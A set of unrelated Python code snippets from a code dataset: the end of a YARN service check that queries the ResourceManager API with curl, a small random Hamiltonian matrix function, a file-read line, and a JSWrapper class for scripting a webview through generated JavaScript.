in splitted_app_url: if "application" in item: application_name = item json_response_received = False for rm_host in params.rm_hosts: info_app_url = params.scheme + "://" + rm_host + ":" + params.rm_active_port + "/ws/v1/cluster/apps/" + application_name get_app_info_cmd = "curl --negotiate -u : -ksL --connect-timeout " + CURL_CONNECTION_TIMEOUT + " " + info_app_url return_code, stdout, _ = get_user_call_output(get_app_info_cmd, user=params.smokeuser, path='/usr/sbin:/sbin:/usr/local/bin:/bin:/usr/bin', ) try: json_response = json.loads(stdout) json_response_received = True if json_response['app']['state'] != "FINISHED" or json_response['app']['finalStatus'] != "SUCCEEDED": raise Exception("Application " + app_url + " state/status is not valid. Should be FINISHED/SUCCEEDED.") except Exception as e: pass if not json_response_received: raise Exception("Could not get json response from YARN API") if __name__ == "__main__": ServiceCheck().execute()
StarcoderdataPython
3570986
def hamiltonian(N,J,sigma): import numpy as np diag = np.random.randn(N)*sigma off_diag = np.ones((N-1))*J H = np.diag(off_diag,1) + np.diag(off_diag,-1) + np.diag(diag,0) return H if __name__ == '__main__': hamiltonian(4,10,10)
StarcoderdataPython
4926807
<gh_stars>1-10 Mongo=open("mongodb.txt","r").readline()
StarcoderdataPython
3264070
#coding: utf-8 import json DEBUG = False class JSWrapper(): def __init__(self, prev, to_add_js='', post=''): if hasattr(prev, 'target_webview'): self.target_webview = prev.target_webview prev_js = prev.js post_js = prev.post_js else: self.target_webview = prev prev_js = 'elem=document;' post_js = '' self.post_js = post self.js = prev_js + ' ' + to_add_js + post_js def alert(self, msg=None): return JSWrapper(self, f'alert("{(msg + ": ") if msg else ""}" + elem);') def debug(self, msg=None): msg = msg + ': ' if msg else '' print(msg + self.js) return self def fix(self, expr): expr = expr.replace('"', "'") if expr[0] != '.': expr = './/' + expr return expr def plain(self, text): js = text return JSWrapper(self, js) def xpath(self, expr): expr = self.fix(expr) js = f'xpath_result = document.evaluate("{expr}", elem, null, XPathResult.ANY_TYPE, null); elem = xpath_result.iterateNext();' return JSWrapper(self, js) def child(self): return JSWrapper(self, f'elem = elem.firstChild;') def value(self, expr=None): return JSWrapper(self, self.generate_value_js(expr)).evaluate() def generate_value_js(self, expr=None): if expr: expr = self.fix(expr) pre_js = 'value_elem = ' + ('elem; ' if not expr else f'document.evaluate("{expr}", elem, null, XPathResult.ANY_TYPE, null).iterateNext(); ') js = pre_js + f'result = "Element not found"; if (value_elem) {{ xpath_result = document.evaluate("string()", value_elem, null, XPathResult.ANY_TYPE, null); if (xpath_result) {{ result = xpath_result.stringValue; }}; }}; result;' return js def by_id(self, id): return JSWrapper(self, f'elem=document.getElementById("{id}");') def exists(self): js = 'elem ? "true" : "false";' result = JSWrapper(self, js).evaluate() return result == 'true' def elem(self): return self.by_id(self.id) def by_name(self, name): return JSWrapper(self, f'elem = elem.getElementsByName("{name}")[0];') def by_class(self, css_class): return JSWrapper(self, f'elem = elem.getElementsByClassName("{css_class}")[0];') def set_attribute(self, attr_name, value): value = str(value) JSWrapper(self, f'elem.setAttribute("{attr_name}", "{value}")').evaluate() def set_attr(self, attr_name, value): value = str(value) JSWrapper(self, f'elem.{attr_name} = "{value}";').evaluate() def set_content(self, content): content = str(content).replace('"', "'") JSWrapper(self, f'elem.innerHTML = "{content}";').evaluate() def append(self, html): html = html.replace('"','\\"') html = html.replace("'", "\\'") js = f'elem.insertAdjacentHTML("beforeend", "{html}");' JSWrapper(self, js).evaluate() def prepend(self, html): html = html.replace('"','\\"') html = html.replace("'", "\\'") js = f'elem.insertAdjacentHTML("afterbegin", "{html}");' JSWrapper(self, js).evaluate() def remove(self): js = f'elem.parentNode.removeChild(elem);' JSWrapper(self, js).evaluate() def set_field(self, field_name, value): self.xpath(f"input[@name='{field_name}']").set_attribute('value', value) def list_each(self, expr): expr = self.fix(expr) js = f'result_list = []; nodeset = document.evaluate("{expr}", elem, null, XPathResult.ORDERED_NODE_ITERATOR_TYPE, null); not_found = true;\n while(elem = nodeset.iterateNext(), elem) {{\n not_found = false; { self.generate_value_js() } result_list.push(result); }}; if (not_found) {{ result = "No iterable element found"; }};\n JSON.stringify(result_list);\n\n' return JSWrapper(self, js).evaluate_with_json() def for_each(self, expr): expr = self.fix(expr) js = f'collected_result = {{}}; nodeset = document.evaluate("{expr}", elem, null, XPathResult.ORDERED_NODE_ITERATOR_TYPE, null); n = -1; not_found = true;\n while(n++, elem = nodeset.iterateNext(), elem) {{\n not_found = false; ' post_js = ' }; if (not_found) { collected_result = "No iterable element found"; }JSON.stringify(collected_result);\n\n' return JSWrapper(self, js, post_js) def map(self, **expr_mappings): create_dict = 'key' in expr_mappings js = 'mapping_result = {};' if create_dict: js += f'get_key = function() {{ { self.generate_value_js(expr_mappings.pop("key")) }; return result; }}\n js_key = get_key();' else: js += 'js_key = n;' for key in expr_mappings: expr = expr_mappings[key] expr = self.fix(expr) js += f"get_value = function() {{ { self.generate_value_js(expr) } return result; }}\n mapping_result['{key}'] = get_value();" js += 'collected_result[js_key] = mapping_result;' return JSWrapper(self, js).evaluate_with_json() #def set_string_value(self, value): #return JSWrapper(self, f'elem.value = "{value}";') def dot(self, dot_attributes): return JSWrapper(self, f'elem = elem.{dot_attributes};') def style(self, style_attribute): value = JSWrapper(self, f'elem.style.{style_attribute};').evaluate() try: return float(value.strip('px')) except ValueError: return value def abs_style(self, style_attribute): value = JSWrapper(self, f'window.getComputedStyle(elem).{style_attribute};').evaluate() try: value = float(value.strip('px')) return value except ValueError: return value def set_style(self, style_attribute, value): if type(value) in [int, float]: value = f'{value}px' value = f'"{value}"' if type(value) == str else value JSWrapper(self, f'elem.style["{style_attribute}"]={value};').evaluate() def set_style_number(self, style_attribute, value): JSWrapper(self, f'elem.style["{style_attribute}"]={value};').evaluate() def _set_style_actual(self, style_attribute, value): JSWrapper(self, f'elem.style["{style_attribute}"]={value};').evaluate() def add_class(self, css_class): JSWrapper(self, f'elem.classList.add("{css_class}");').evaluate() def click(self): return JSWrapper(self, 'elem.click();').evaluate() def html(self): return JSWrapper(self, 'elem.innerHTML;').evaluate() def frame_body(self): return self.dot('contentDocument.body') def frame_window(self): return self.dot('contentWindow') def submit(self): "Submit selected element, or the first form in the document if nothing selected" if type(self) is not JSWrapper: self = self.xpath('//form[1]') JSWrapper(self, f'elem.submit();').evaluate() #TODO: Still valuable to be able to separately set by name? def set_value_by_name(self, name, value): self.by_name(name).set_string_value(value).evaluate() #TODO: Better ideas for calling JS functions? def call(self, func_name, *args): js_args = [f'"{item}"' if type(item) == str else str(item) for item in args] JSWrapper(self, f'elem.{func_name}({js_args})').evaluate() def callback(self, func, delay=1.0): callback_id = self.target_webview.delegate.set_callback(func) delay_ms = delay * 1000 js = f'setTimeout(function(){{ window.location.href = "{self.target_webview.delegate.callback_prefix}{callback_id}"; }}, {delay_ms});' JSWrapper(self, js).evaluate() def evaluate(self, js=''): global DEBUG if DEBUG: print(self.js + js) return self.target_webview.eval_js(self.js + js) def evaluate_with_json(self): return json.loads(self.evaluate()) def to_string(self): return JSWrapper(self, 'elem.toString();').evaluate()
StarcoderdataPython